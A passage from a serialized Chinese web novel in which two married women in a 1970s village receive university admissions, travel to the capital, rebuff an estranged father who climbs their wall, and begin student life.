季白青提起猫放在地上,教训她:“没看见你妈妈妈咪有正事吗?吃你的饭去。” 听到了关键词,温棉棉立马跳上了她的专属小桌,见着碗里没有吃的,急得喵喵叫,差点就要说人话了。 季白青:“……” 原本温情的氛围已经被彻底破坏了,季白青一脸无语地去给她找了些吃的。 也不知道这猫每天活动量这么大,还怎么长这么胖的。 几天过后,季白青想着原本世界线中女主的机遇,又带着温淼再次去了回收站。 见到了赵婉之后,季白青不好意思地挠了挠头,问道:“婉姐,我们不是要去上大学了,就想要来看看有不有能用的东西。” 赵婉拍了拍手,指着屋前的一堆东西,“今天刚运来的,你们看看有没有用得上的,直接拿走就行,待会儿找完之后叫我啊。” 叮嘱完后,她回到屋子里,继续登记。 二月里的天气并不热,东西都带着原本的味道还没有发酵起来,味道在可以承受的范围之内。 季白青和温淼戴着手套翻翻找找,看到些可以用的东西或者是有价值的东西都收了起来。 翻到最后,看到一本名著,外壳崭新。 想着拿回去填书柜,季白青翻开随意看了几眼,一打开却发现是书的内部被掏空了,放了几个印章,还有叠起来的稿纸。 没去看印章,她将稿纸翻出来一看。 发现每一张上面都是画的活灵活现的虾。 再一看落款,季白青的瞳孔微微睁大。 好像……真被她找到宝贝了,当然,如果这是真的的话。 给温淼看了一眼,温淼将其收起来,又看了眼印章,上面刻的也是那位大家的名字。 季白青擦了擦手心的汗,将东西给了温淼。 温淼有些无奈地看着她,最终还是伸手接过了。 两人拿了东西之后,给赵婉钱,赵婉却不肯收。 “你们要去上大学了,这些就当是我送给你们的了。” 季白青也不想继续来回推拒下去,便干脆将那几张稿纸里抽出来一张给了赵婉,叮嘱道: “姐,这可是宝贝,你先留着,再过几年应该就升值了。” 赵婉看着手里的画,有些奇怪,最后还是半信半疑地答应了。 回到家后,将带回来的东西放好,季白青就差沐浴焚香了,妻妻俩人看了一晚上,最后确定下来,如果没有意外的话,应该是真迹。 原本世界线中,女主被陆老爷子接纳也可能是因为这些画。 去过回收站之后,季白青和温淼便待在家里安安稳稳地等着录取通知书的消息。 等到二月中旬,两人正待在屋子里看书,就听见门外有人大喊道: “季白青、温淼!你们的录取通知书到了!考上了!” 【作者有话说】 感谢投雷营养液,感谢评论订阅收藏 115 第115章 ◎报名◎ 听到邮递员的话后,屋里的温淼和季白青对视一眼,都从对方的眼中看到了惊喜。 没想到录取通知书来的居然还挺快。 两人出门将录取通知书拿到手,回到屋子里后,季白青看着牛皮纸包装着的录取通知书有些期待。 也不知道能不能上两人都心仪的学校,会不会被分到同一所学校里。 各自将署着自己名字的牛皮纸包装拆开,露出里面装着的薄薄的一张纸。 这年头的录取通知书与后世精致的模样还有着很大的差别,纸上简单填写着录取学生的名字院系和专业,白纸黑字显得十分朴素。 季白青看着自己的录取通知书角落明显的“华清大学”的标志,又去看看温淼的。 温淼的录取通知书上盖着鲜明醒目的“京市大学”的印章。 果然不在一个学校。 见季白青有些闷闷不乐的,温淼无奈弯眸,轻揉她的黑发,细声安慰道:“没事的,两个学校离得不算远,有时间的话我们就能见面。” 听了这话,季白青强打起精神来,“那我到时候一有空就去找你!” 将两人的录取通知书放在一起好好看了看,她忽然感受到一股前所未有的满足。 和老婆在一个城市里上大学什么的,光是想想就觉得美好。 两人手上的录取通知书都还没有拿热乎,听到了消息的何香月和温向荣她们就赶了过来,只好将通知书给她们看。 虽然不识字,但是有温向荣将上面的内容一句一句念给何香月和季伟听。 拿着季白青的那张证书,何香月的手都在微微发抖,眼睛湿润。 她都没有想到,家里居然还有机会出个大学生! 何香月露出个笑,欣慰道:“真棒!这可是京市的学校!” 温向荣性格更为内秀,看着温淼和季白青的录取通知书,虽然也十分激动,但是情绪表露得比起何香月来更为内敛一些。 她微微点头,“真不错,你们俩一起去京市也好有个照应,不过要记得提前给知意和皎皎写个信,到时候让她们来接。” 季白青和温淼都点头,也准备明天就去写信告诉姑姑她们。 何香月和季伟小心翼翼地拿着手上的通知书看了又看,喜欢得不得了。 一直等到稀罕够了之后,这才将录取通知书还给季白青她们。 “今天晚上炖个鸡庆祝一下,淼淼和白青记得上家里吃晚饭!”何香月大手一挥,决定杀个鸡来奖励家里的两位准大学生。 说完之后,几人没有继续留下,步履匆匆地出去了。 何香月倒是没有急着回家,而是慢悠悠踱步到村口。 路上遇到了王大娘,见着她之后,硬着头皮和她打招呼。 “香月啊,吃午饭没?” 何香月笑眯眯地点头:“哎呀,吃了吃了,不过我待会儿就得回去准备晚饭了,别看现在还早,但我待会儿还要杀鸡呢,我家两个大闺女这不是考上了大学,杀个鸡犒劳犒劳。” 王大娘:“……哈哈,我家雯雯也考上了。” 不就是考上大学了嘛,她也能显摆。 何香月摆了摆手:“你懂什么,我家考上的可是京市大学和华清大学。” 说着,她没再理对方,脚步轻快地继续往村口走。 现在刚出年关,还没到上工的时候。 连绵下了一周的春雨,今天天气总算是放晴了,日光落在人身上,暖烘烘的。 村里的人基本都在村口晒太阳,树下不少人正在说着话,大人小孩都有,叽叽喳喳地比枝干上的麻雀都还吵。 何香月走过去,清了清嗓子。 “那个,我说两句啊。” 听见她嘹亮的一嗓子,众人都沉默下来,有人话说到一半都咽了回去。 何香月开口道:“上午你们家里的孩子都收到录取通知书没?我家白青和淼淼啊,一下就考上了京市的大学,这下好了,砸锅卖铁也要把孩子供上学。” 说完后,她突然捂住了嘴,笑得见牙不见眼。 “瞧瞧我这记性,我都忘记了考上大学之后不用交学费,每个月还有补贴。” “都是我误会了,哈哈,你们继续说,我该回家杀鸡了。” 说完后,她没再继续停留,匆匆离开。 被留在原地的众人:“……” 这哪里是记性不好,不就是摆明了来炫耀自家的孩子考上了大学吗?! 村里也就季白青温淼和李雯雯三个人考上了,就连知青点都没有一个考上了的。 听了刚才何香月的那一番话,有人羡慕,也有人恨得牙痒痒。 怎么她们季家人的命就那么好呢! 何香月离开后,又去了老姐妹的家里和她们说了喜事之后,这才拐了个篮子去山上摘菌子,待会儿晚上和鸡肉一起炖。 当天晚上炖的鸡肉,十里飘香,几乎整个村子里的人都能嗅到,馋得邻里口水都要流出来。 何香月早就说过今天要炖鸡犒劳季白青她们,情有可原,连藏都不需要藏着。 一家人吃得滚瓜肚圆,第二天一早,季白青和温淼就将写好的信寄去了京市,除了给姑姑之外,还另外给陆霁寄了一封信。 此外,还去了食品站和王宝珠、夏寒梅道别。 去大学报道的时间早,二月二十多号就陆续开学了,季白青和温淼打算快点收拾好,早些往京市去。 季白青早就和她们说过自己高考考上之后就不会再来食品站继续工作了,也让夏寒梅提前物色好接她班的人。 她是靠着杀猪这一份工作才慢慢过得好起来的,所以对夏寒梅她们始终心存感激,带了不少礼物过去。 夏寒梅和王宝珠虽然都不舍得她,但也知道她是要去更大的地方,上大学之后也能比现在更有出息,便只是笑着祝她们一路平安。 又去尚敏家向她道别,再将缺的东西买齐之后,季白青载着温淼往家赶。 刚到村口,就有一个十几岁的姑娘对她们开口道:“姐,你们家门口有好多人。” 闻言,季白青的神色一凝,给了她一块饼干道谢后骑着车飞速回去。 路上,她猜测是又发生了什么事。 她去黑市的事被发现了?还是与她结下仇的人带着人来找她报仇了? 将有可能的人一一想了过去,季白青还是不能落实到人。 温淼心里也有些担心,揪着季白青的外套,到家附近的时候,远远就看见了家门口聚集着的人群。 有村里看热闹的人,也有一些不认识的人。 见到了季白青和温淼终于回来了,李向东连忙站出来对她们喊到:“季家丫头,温知青,这是省里的秘书和省里派下来采访你们的记者!” 听到这话,季白青原本紧绷起来的身体才开始慢慢放松下来。 而省里派下来的记者和秘书见到季白青和温淼回来后,瞬间大步冲出人群,走到了季白青和温淼面前。 见着两个人都长得标志,站在一起分外登对,四人的眸中不约而同地闪过惊艳。 不仅成绩好,长得居然也这么好。 王秘书主动上前和季白青、温淼握手,对她们介绍道:“季同志、温同志,你们好,我们是潇南省里派下来的,这是夏秘书,这两位是来采访你们的记者,小赵和小吴。” 小赵上前一步,对她们爽朗一笑。 “季同志、温同志,首先恭喜你们分别是我们省里的理科和文科状元,我们是省报的记者,不知道现在方不方便我们采访你?结束之后会把采访的内容登记在省报上的。” 听见这话,周围围观的村民瞬间吸了一口气。 乖乖,省状元! 她们俩居然考得这么好! 小赵想起刚才李向东的介绍,看着两个女人牵在一起的手,怕她们性格内敛对采访有所反感,便不动声色夸道:“你们看起来可真般配,感情应该也很好。” 季白青被夸得有些美了,看了眼温淼,见她没有不情愿的意思,便道:“方便的,是进屋里还是就在外面?” 她们家的院子里搭了个架子,挂着冒着绿芽的葡萄藤。 蔷薇植株和月季都生长得很好,隐隐露出一点粉色白色的花苞,精致不错,小赵和小吴看了眼便拍板道:“就在外面吧。” 季白青和温淼穿过人群回到屋里,从堂屋搬了几张凳子出来。 简单回答了小赵的问题,又分别让小吴拍了照,简单的采访就完成了。 最后王秘书和夏秘书将两个信封分别交给她们,微笑道:“这是省里下来的给状元的奖金,希望你们能够好好学习,以后成为国家栋梁。” 温淼和季白青接过,小吴见状,在一边连忙用相机将画面定格下来。 等到四人离开之后,周围的村民都还有些没反应过来。 考上省状元,不仅可以登上报纸,还有奖金啊!就是不知道有多少钱。 见着人离开后,季白青将凳子搬回去,和温淼进了家门后将门一关。 正想要说点什么却被拒之门外的李向东一张脸黑得跟锅底一样。 不就是考上了大学,有个省状元吗?这有什么好猖狂的! 他扭身对周围的村民开口道:“人家都关门了,你们还看什么看!” 见状,有人撇了撇嘴,纷纷离开。 虽然早就有所准备,但是季白青和温淼还是没有想到会成为省状元。 回到屋里好一会儿才缓过来。 看着手里的奖金,季白青拆开数了数,竟然有一百块! 那她和温淼的加在一起就是两百了。 这钱对她们俩来说就是白得的,这么想着,一时间季白青的心情更好了。 中午上季家吃饭的时候,季白青将得了奖金的消息同何香月她们说了后,将两百块钱给了她和温向荣。 “娘,奶奶,这钱你们拿好,这可是上面下来的奖金,如果没有你们的话,我们还不定能够考这么好呢,所以你们肯定得收下的。” 季白青这话倒是也没错,如果不是有何香月和温向荣坚持供她们上学,又坚持让她们不上工,季白青和温淼还不一定有那么多的时间复习,自然也不会考那么高分。 闻言,何香月和温向荣也不好推拒,干脆收下了。 吃了午饭后,季白青和温淼回去开始收拾要带去京市的东西。 两个人也在新家住了一年多,东西慢慢将两人的小家填满,收拾起来也有些难度。 不过大多数东西在京市都有,所以只是将家里简单整理了一番,又拿了衣服和其它必需品,最后收拾好录取通知书就好了。 村里有何香月她们在,可以隔一段时间再来帮忙收拾收拾。 她们在家多呆了两天,要买票去京市的前一天,季白青还看到了季伟从镇上带回来的登记着她和温淼的采访的报纸。 前几天知道两人被采访之后,何*香月就让季伟每天去镇上一趟,看看当天的报纸上有没有季白青她们的采访,一连几天,在今天可算是看到了。 季白青找他要了一份报纸当做收藏。 第二天一早,天还没亮,被何香月、温向荣、温如嫣和季伟注视着送别,季白青和温淼拎着行李,坐在牛车上摇摇晃晃地往镇上的火车站去。 凭借录取通知书可以买到半价的学生票,保存好票据,到学校之后还能报销。 两人买好了票,在早上九点的时候坐上了开往京市的火车。 在火车的轰鸣声中,两人轮流休息,守着行李,终于在第二天的上午到了京市。 在京市下车的人潮汹涌,几乎是人挤着人的状态。 季白青拎着两人的行李,另一只手抓住温淼,将她往自己的怀里圈,以免被人磕碰到或是两人被人群冲散。 出了火车站,她们四处望了望,也不知道温知意和温皎皎有没有收到她们寄的信。 如果没有人来接的话,那她们坐地铁回去也行。 今年京市的地铁刚对市民开放,价格不算太贵。 简单看了一圈,没找着熟悉的人。 季白青牵着温淼打算往地铁站走,突然一辆吉普车缓缓驶近,最后在她们面前停了下来。 军绿色的吉普车十分显眼,看着面前的车,季白青和温淼对视一眼,正想看看是不是温知意时,驾驶位的车门被打开,温知意穿着一身长到腿肚处的风衣下车了。 温淼抬头看她,发现温知意清瘦了不少,原本凌厉的面颊多了几分坚毅。 她心里有些酸涩,上前将人抱住。 “姑姑!” “姑姑好。”季白青也和温知意打招呼。 温知意面上化开了一抹柔色,拍了拍温淼的肩膀,对季白青道:“小季上车吧,带你们去吃个早饭。” 说着,温淼也没好意思继续抱下去,坐在了后座。 温知意一边开车一边解释道:“皎皎她最近工作忙,不能来接,你姑父也是,在实验室住着,已经半个多月没回家了。” 温皎皎做的工作和文物修复有关,简州又是搞科学的,她们忙很正常,妻妻俩都能理解。 温知意还有工作,干脆将她们带去了军属大院,把她们带到了食堂,让炊事兵给她们打了早饭,将房间的钥匙给了她们,便回训练场了。 温淼以前偶尔会来家属院这这边陪陪温简楚,所以也知道地方在哪。 军区家属院的伙食还不错,现在是十点多接近十一点,炊事兵给她们打的是待会儿的午饭,给了四个瓷实的馒头,加上土豆炖牛肉、西红柿炒鸡蛋还有一个萝卜汤。 两人都挺饿,也没有浪费,将馒头和菜吃得干干净净。 吃完饭,正准备拿着东西去温知意分配的房子那休息一会儿。 刚出试探便听见有炊事兵洪亮的声音。 “陆首长好!” 季白青对这个姓氏有些敏感,闻言侧目过去,看见一个慈眉善目、穿着一身整齐军装的老爷子。 他的声音平和,里面自带几分气势。 “嗯,辛苦了,今天是大家训练的日子,饭和菜都多做些,一定要让全部士兵都吃饱。” 见季白青顿住,温淼朝着她所看的方向看过去。 认出那人是谁之后,温淼的神色瞬间冷了下来。 ——陆有德,害温向荣被举报下放的罪魁祸首。 被人盯着,陆有德也敏锐地感受到了落在自己身上的视线。 他和炊事兵说完话后,扭过头去和季白青她们对视上。 认出来温淼后,陆有德挑了挑眉,唇边的笑意更深了。 对身边的人摆了摆手,让他们回去之后,陆有德朝着季白青和温淼的方向走过去。 “是温淼啊,好久不见了,你不是被下放了吗?怎么又回来了?”他笑着开口询问道。 温淼也扯了扯唇角:“回京市上大学,就是可惜老爷子你家陆延现在还在牢里关着,不然肯定也能够考上。” 听她提到了自己那不争气的孙子,陆有德的脸色一僵。 下一秒又自然地掩饰住,哈哈笑了一声。 “那肯定也比不过你啊,看你现在这么优秀,我真是替你奶奶感到欣慰,如果她能够亲眼看着你上大学就好了。” 如果不是因为温淼知道温向荣还活着的话,她可能真会被对方话里的软刀子伤到。 但她知道温向荣还活着,所以这话对她来说自然没有一点杀伤力。 一边的季白青看着他的眼神有些惊奇,笑眯眯地插了句话:“原来你还是个首长,但是看起来都这么老了,居然还没有退休吗?” 她小声嘀咕道:“好像年纪大了,尤其是男的,都容易犯老糊涂。” 说着,季白青飞速看了陆有德一眼,又拍了拍自己的嘴,对他道歉:“真是抱歉啊老爷子,我看你不过是七十多岁的样子,肯定还老当益壮!你就当我什么话都没说。” 陆有德的脸色险些维持不住。 他今年也就才六十岁出头,哪有季白青说的那么老,他最讨厌别人拿他的年龄说事了。 但面上的平静还是要维持,他故作不在意道:“没事,我还有事,得去看那群新兵蛋子训练,就先不和你们聊了。” 说完,他转身大步离开。 见人离开后,季白青面上的笑意淡下来。 “装模作样。”她评价道。 伸手搂着温淼的肩膀拍了拍,季白青见她心情不佳,安慰道:“别难过,以后还有机会对付他。” 温向荣也还有机会能够再以原来的身份回到京市,属于她的荣誉和功勋都要会被一一要回来。 陆有德也会受到该有的惩罚。 温淼见季白青神色笃定,选择了相信她,轻轻点头。 两人提着行李找到了温知意住的地方,去热水房打了水简单清洗一番后开始休息。 晚上,温知意总算是闲了下来。 换下一身泥浆的衣服,陪她们一起吃了个饭,随后温知意开车将温淼和季白青送到她们家。 明天还有早训,温知意没多呆,将她们放下就回去了。 久违回到了温淼的房子里,进去的时候,屋里被收拾得干净整洁,纤尘不染,猜到大概是两个姑姑让人来打扫卫生了。 两人将带来的行李收拾好,衣服放进柜子里,其它的东西摆开,又将晾在屋檐下的床单被罩收了回来换上,这才坐下来休息。 上午在家属院休息了一会儿,此时倒是没有多累。 看着屋里即使被打扫了却因为一年没有人住进来而略显陈旧的家具,季白青觉得感慨万千。 “时间过得真快,第一次来京市的时候我现在都还记得很清楚。” 她身体一软,将头枕在温淼的腿上。 温淼低头帮她将散落在脸上的头发拨开,一边回答道:“可能是你印象深刻,我也还记得第一次到云水村的时候。” 这人没见过几面就说要和自己做朋友,没有分寸地撩拨她,这才让她产生误会。 想到这,她幽幽看了季白青一眼。 季白青听她的话,觉得有道理。 她嘿嘿一笑:“我还记得,我生日的时候,你给我送的礼物。” 青年笑眯眯地形容:“又漂亮又软,还很香。” 温淼的手一顿,捏住她的耳朵暗自用力。 听到对方吃痛才慢慢放开手。 她没多少气势地威胁道:“不许说,不然今天你自己一个人睡。” 季白青奇怪道:“我说我的生日礼物你也要管?” 温淼:“……季白青!” 她装什么懵懂,明明那时温淼是将自己当做生日礼物送给她的,怎么可能会忘记! 季白青不说话了,毛茸茸的头在她腿上蹭了蹭。 她岔开话题问:“明天吃什么?” 温淼也不想继续刚才的话题,顺着她给的台阶往下说。 “明天去国营饭店吃,看看有什么,吃了早饭之后再去买点菜。” 季白青点头。 温淼比季白青要早几天开学,但就连温淼开学也还有两三天的时间,在家里吃饭的话还是得把这几天的口粮给买好。 明天还得顺带去供销社买些生活必备品。 妻妻俩聊了会儿天后就上床睡了。 第二天吃了早饭后去将这几天的粮食给买齐。 也是在提着大包小包的东西回去的时候被人看着了,邻里这才知道原来她们已经回来了。 李婶见着她们在这个时候回来,有些惊喜,猜测道:“你们俩这是考上了?” 温淼和季白青见是她,笑着点头。 李婶的眼神又落在她们手上的戒指上,眉开眼笑地问:“这是扯了证了?” 季白青就乐意和别人说这些,回话道:“对啊婶,都扯了一年多了,酒席也摆了,不过有机会的话还会在京市也办一场的,到时候请你们啊。” 闻言,李婶拍着大腿。 “那敢情好啊!” 听她这么说,温淼的耳尖微红,拉着季白青的手想让她别说了。 哪有结婚还要摆两次酒席的。 季白青没领会到温淼的心里想法,又和李婶多聊了几句。 最后,见她们要回去了,李婶提醒道:“我看李文宇那个不要脸的最近好像又在你们家附近转,真见到了他,你们可别信他的鬼话。” “尤其别被他骗了钱了。” 原本李婶还在愁着怎么警告那人,现在温淼和季白青两个人回来那就好办了,直接让她们去处理。 闻言,季白青眉头微皱,对着李婶点了点头。 “谢谢李婶。” 两人回了家后,将买好的东西放好,坐下来回想刚才李婶说的话,有些不解。 “他还来干什么?” 温淼摇头:“不知道,难道是最近没钱了吗?” 她和李文宇早就在报纸上登记过断绝父女关系,户口也单独牵了出来,现在不管怎么样她们都不再有关系了。 李文宇应该是知道这一点的,但他来家里周边转悠,是为了偷东西还是要见温淼? 没有见到人,谁都不知道到底是什么答案。 “放心吧,不会给他机会偷东西的。”季白青冷笑一声。 刚好她早就觉得四合院这边不太安全,墙不算太高,即使有门锁,也让人搬个梯子就能翻墙进来。 有了李文宇这个不稳定因素在,季白青没有丝毫犹豫,做了个午饭,吃完之后就去了废品回收站买了两桶大块的玻璃碎片。 随后买了袋石灰和沙子,混在一起,一个下午,和温淼一起将围墙上抹上水泥,再插上玻璃碎片。 院子大,花了两个多小时才完工。 将最后一片玻璃插上后,季白青跳下梯子,拍了拍手,抬头看着围墙之上。 太阳照下来,玻璃反射出各色的光线,还挺漂亮。 就是希望不要有人不长眼,还试图走墙进来。 见着墙上的玻璃,温淼安心了一些。 如果李文宇的目的不是来偷东西而是想要见她的话,那她也不会给他见到自己的机会。 再等一天,水泥坚硬下来便好了。 将防御弄好之后,季白青和温淼回了屋子。 过了一天,季白青检查每一处的水泥是否坚固,看着没什么问题才彻底放下心来。 这两天都没有见着李文宇,原本以为他不会再过来了。 哪知道在温淼去学校报名的前一晚上,她们正准备要休息,刚躺下就听见屋外传来了一声惨叫。 是个男人的声音。 季白青坐起身来,套上外套,左手拿了根木棒,温淼也穿好了衣服,给季白青打着手电。 两人一步步往外走,根据听见的惨叫传出来的方向,将大门打开。 手电筒往左边一照,照出来一架梯子、扶着梯子的女人和挂在墙上吸气的男人。 刺眼的光直直地射向她们,李文宇和王瑶被光线刺得紧紧闭上了眼。 季白青和温淼盯着她们的眼神发冷。 温淼问:“李文宇,你怎么来了?” 李文宇捂着自己被戳出来几个血窟窿的手,眼泪都包不住了,朝她们吼道: “你们没事往墙上插玻璃干什么!看看老子的手!” “当然是为了防小偷。”温淼冷冷回答,话中意有所指。 季白青视线扫过面色尴尬的王瑶,慢悠悠开口添了一句:“谁知道前天才刚添上的,现在就刚好抓到了一个要进来偷东西的老鼠。” 李文宇的脸色涨红,瞪着季白青的眼珠子都快要掉出来,带着恨意。 “你说谁是老鼠!你要和温淼在一起,别忘了还得喊我一声爸!如果我不同意,你别想进我老李家的门。” 闻言,季白青被他说出来的话逗笑。 “我进的是温家的门,和你李家有什么关系,哦,对了,李叔,你问问温淼管你叫爸吗?” 温淼看了李文宇一眼,及时开口:“我们早就断绝关系了。” 李文宇怒道:“你是老子生下来的,有我身上的血……” 温淼轻飘飘打断他的话,“我是我妈妈生下来的,你身上的血我也不稀罕。” 她扭头对季白青道:“他想要进我们家偷东西,我们报警吧。” 闻言,王瑶瞬间紧张了。 她抬头看着还在梯子上的李文宇,小声劝道:“老李,你先快下来啊。好好和淼淼说说,你们可是亲父女,父女之间哪有隔夜仇。” 李文宇不是不想下来,只是他的手还插在玻璃上。 刚才想要翻墙,没想到围墙上会有玻璃片,玻璃扎进肉里,现在都已经是钻心的疼痛了,如果再拔出来,李文宇不敢想象到底有多疼。 但听到温淼说报警,李文宇也有些心慌。 见她们转过身去,他连忙开口:“等、等等!” 李文宇忍痛将手拔出来,没忍住又哀嚎了一声,神色痛苦,疼得豆大的汗都从额头上掉下来。 他腿发软,险些要栽倒,勉强稳住了身体后,才扶着梯子一步一步下去。 手上的伤口和木梯相接触,倒刺再次刺进伤口中,又是一次创伤。 季白青和温淼在一边看着,倒是又听听他狗嘴里能够吐出来什么象牙。 李文宇落地,推攘着王瑶上前,害怕自己又被打。 他躲在王瑶后面,忌惮地看了眼季白青,又看了眼温淼,随后开口道: “你弟弟要开学了,学费和生活费你这个做姐姐的不给点?” 王瑶也对温淼讨好一笑:“是啊淼淼,最近家里的情况有些紧张,你肯定还有不少钱吧,能不能……看在你爸的份上,给我们一点,你弟弟长大之后我肯定会让他好好孝敬你的。” “我们一家人都会记着你的好的。” 闻言,温淼笑出声来。 她眼神无温,落在李文宇和王瑶的身上,话里是发自内心的诧异。 “你们是怎么做到这么不要脸的?” “李光宗又不是我妈生的,和我有什么关系?我也没承认过他是我弟弟,更不需要他孝顺,你们一群白眼狼我也不需要你们记着我的好。” “尤其是你,李文宇,你看看周围,谁有你的脸皮厚?” 别的不说,有这么个四肢健全的父亲向女儿要钱的事还真不多。 李文宇和王瑶被她的话说得脸色铁青。 她们之间的动静不小,邻里间也没什么隔音,听到了动静,已经有不少人披着外套出来看情况了。 被众人的目光盯着,李文宇瞬间感觉被落了脸面,他怒道:“我养你这么大,你现在报答报答我都不行吗?早知道当初刚把你生下来就该把你给摔死。” 温淼没将他的话当一回事。 “首先不是你养的我,你花的钱都是我妈的钱,我们温家的钱,其次,如果你真把我摔死了,那你应该现在也在牢里了,现在能够好端端地站在我面前,你应该感谢我才对。” 季白青在一边听他对温淼说话这么恶毒,最后还是没忍住将王瑶扯开,一棍子打上了他的手臂。 她冷声道:“刚吃了屎过来的?嘴这么臭,我懂你们来是干什么了,既然不是偷东西,那就是讨口子。” 她从口袋里掏出来一枚硬币,往地上一丢。 叮的一声,硬币落在地上,恰好滚到了李文宇的脚边。 一系列动作结束之后,季白青看向来看热闹的人群道:“各位姐哥婶叔大娘大爷,晚上睡觉可要注意,千万别让家里进贼了,毕竟不是每家都像是我们一样幸运,刚好插了玻璃,这才抓到了贼。” 说完后,她见着李文宇那死人脸心里越发不爽,见他上前一步似乎是想要和自己理论,便一脚踹了上去。 “钱已经给了,快滚。” 将人踹在地上后,季白青牵着温淼回屋,大门砰地被关上。 人群看热闹不嫌事大,在一边指着李文宇小声开口讨论: “真不要脸,问女儿拿钱养儿子,算个屁的爸。” “还想着翻墙呢,这不是摆明了要进去偷东西!” “我看这个李文宇可真是个搅家精,好好的工作工作没了,把泠月给克了,又克他现在的老婆,看看日子都过成啥样了,这女的穿的鞋都掉底了。” 王瑶闻言,脚趾窘迫地缩在一起,在原地再也待不下去,捡起地上的五毛钱硬币后拉着李文宇跑了。 季白青关了门,回到床上还是觉得有些生气,后悔自己刚才没有再给李文宇踹上一脚。 当着温淼的面,那么恶毒的话都能说出口。 温淼揉了揉季白青的肩头,安慰道:“好啦,你已经给我出气了,我们别管他了,以后就不敢来了。” “明天还要早起陪我去报名,现在再不睡的话该起不来了。” 听她这么说,季白青才勉强按捺住内心的怒气,将人往自己怀里一搂,哄她睡觉。 她不太睡得着,想着送温淼报了名之后再去好好打探打探李文宇现在的情况。 到时候再看看想个什么办法,让人彻底断了再来试图和温淼联系的心。 第二天一早,她们一起去国营饭店买了包子和豆浆,吃了早饭就拿着行李和录取通知书坐地铁往京市大学去。 来报名的人不少,今天是新生报名,一张张脸上都充满了对学校和未来生活的期待。 季白青虽然已经上过一次大学,但此时还是难以避免被感染,心里也添了几分激动。 和温淼一起去报道注册好之后,她们提着行李去了宿舍。 学校的住宿条件不算太好,狭小的空间内要塞进十个人,洗漱洗澡都需要去公共的水房和澡堂。 见状,季白青有些担心,怕温淼会不习惯。 侧目看向温淼,温淼的脸色倒是如常。 简单和来了的舍友打了个招呼,她们开始分工干活。 季白青抿唇帮着温淼挑了个下铺靠窗的位置,将带来的被褥铺上。 温淼则在收拾属于自己的箱子,将部分物件放了进去。 已经收拾好了的室友孙程程的眼神在她们身上来回转了转,小声问温淼:“那是你姐姐吗?对你可真好。” 闻言,温淼一愣,下意识看向正在铺床的季白青,眼睛微弯。 “不是,她比我还小点呢,是妹妹才对,就是喜欢照顾我,还有,我们是妻妻。” 闻言,孙程程有些惊讶地捂住了嘴,而后放开,轻声道:“你们感情可真好。” 温淼笑了笑,没有说话。 将东西收拾好之后,其她室友也陆续来了。 她们都是英语专业的,人并不多,宿舍也住不满,只有六个人。 孙程程、苗欣和韦桂英都是京市本地人,毛越是甘水人,冯胜男是羊城人。 六个人简单认识之后,便都各自行动,继续收拾东西。 季白青和温淼一上午将东西收拾的差不多,卫生也简单打扫了一遍,眼见着要到中午,就决定先去食堂吃个饭。 食堂也是人潮拥挤,好不容易在食堂排队打好了饭,两人端着碗都找不到一个空位,又往里走了些,季白青一眼扫过去,忽然看见了熟人。 她眼神一亮,开口对温淼道:“老婆,我们去那边。” 只是内心难免还有些疑惑,她怎么在这? 【作者有话说】 说到十人寝,几十年后我还是在住八人寝,哈,没错也没有独卫 感谢投雷营养液,感谢评论订阅收藏[三花猫头] 对了,宿宿雪再弱弱求个预收收藏[眼镜] 116 第116章 ◎班长◎ 温淼闻言,有些诧异地挪眼朝同个方向看去,在见到了陆霁和她身边坐着的面容青涩的女同志后也有些惊讶。 “霁姐怎么也在这?” 她心想,难不成是陆霁也参加了高考,考上了京市大学? 也不是没有可能,毕竟陆霁现在也就才二十九岁,没有超过高考报名三十岁的年龄限制。 季白青也不知道,正好她们对面没有人坐,两人便端着饭朝她们走过去。 “霁姐。”妻妻将碗放在桌子上,坐下之前和正低头吃饭的陆霁打了声招呼。 闻言,陆霁抬起头,原本冷淡的眉眼见着眼前的人是季白青和温淼之后柔和起来,有些惊喜。 她唇角微微翘了起来,带了些笑意。 她问:“淼淼、阿青,你们怎么在这?” 目光在两人身上看了一圈,她笑吟吟问:“是考上了?” 温淼点头,开口解释:“我考上了,阿青是今天来陪我报名的。” 季白青看着陆霁比起一年前略显消瘦的脸,有些奇怪道:“霁姐,你怎么还瘦了?” 陆霁一愣,只是道:“是太久没见的错觉吧。” 她身边的女同志却脆生生地开口回答道:“瘦不瘦和你有什么关系,你管那么多干什么,更何况有我看着,姐姐很快就会长回去了。” 季白青听出对方话里的敌意,视线从陆霁身上挪到她身边的女同志身上。 女同志长了一张看起来就乖巧的娃娃脸,清纯秀气,此刻睁圆了一双圆眼睛瞪着她,眸中满是警惕。 被这样的视线注视着,季白青一愣,眼神在两人之间快速巡视几遍,忽然懂了这警惕从何而来。 她对人友好一笑,没有解释什么。 倒是陆霁,听她说话这么没礼貌,轻声训斥:“李从瑾,我怎么教你和别人说话的?” 她转头看向表情明显转为看热闹的季白青妻妻俩,抿了会儿唇才开口解释道:“这是李从瑾,我……妹妹,今天我是来送她报名的。” 李从瑾继续用警惕的目光看着对面两个不同气质的漂亮女人,身体往陆霁这边侧了侧,细长的手指搭在她的肩膀上,带了几分难以道明的占有欲。 她幽幽开口:“才不是什么妹妹,我又不姓陆,是未来的女朋友才对。” 陆霁皱着眉:“乱说什么,再胡说以后别去我那了。” 李从瑾这才讪讪闭了嘴,又瞪了对面两个女人一眼。 季白青饶有兴趣地听着她们之间的对话,见自己和老婆被这姑娘瞪了,慢悠悠开口解释道: “李同志,我们可什么都没干啊,我们和霁姐只是朋友。” 说着她动了动左手,将自己碗里温淼爱吃的牛肉块夹给她,无名指上的银色素戒让人难以忽视。 温淼乖乖吃下,左手搭在了桌面上,手上的戒指和季白青的如出一辙,一眼就能看出是对戒。 李从瑾此时明了她们之间的关系,也自然知道刚才都是她误会了,眼神瞬间温顺了下来,像只柔软无害的兔子,她小声对陆霁道歉: “对不起姐姐,我错了。” “两位姐姐,我不是故意的,只是误会了,还以为你们……”后面的话不言而喻。 陆霁淡淡看了惯犯一眼,对她的话的道歉不予评价。 温淼见她们之间的氛围不太对,好脾气地开口:“没关系,我和阿青虽然是霁姐的朋友,但已经一年多没回过京市了,你不知道很正常。” 李从瑾歪头想了想,忽然道:“你们是温淼和季白青吗?” 见对方点头,她笑起来,露出虎牙:“我撞见过姐姐给你们写信。” 知道了温淼和季白青不是喜欢陆霁的情敌之后,李从瑾的态度好了不少,四个人和谐地吃了一顿饭。 李从瑾和温淼不是一个专业,走出食堂之后就需要各自分开了。 季白青带着温淼往寝室赶,晚上的时候她们专业还需要开会,第二天开始正式上课。 陪着温淼去领了每个月的补贴,再将证件办好之后,温淼催促她回去休息。 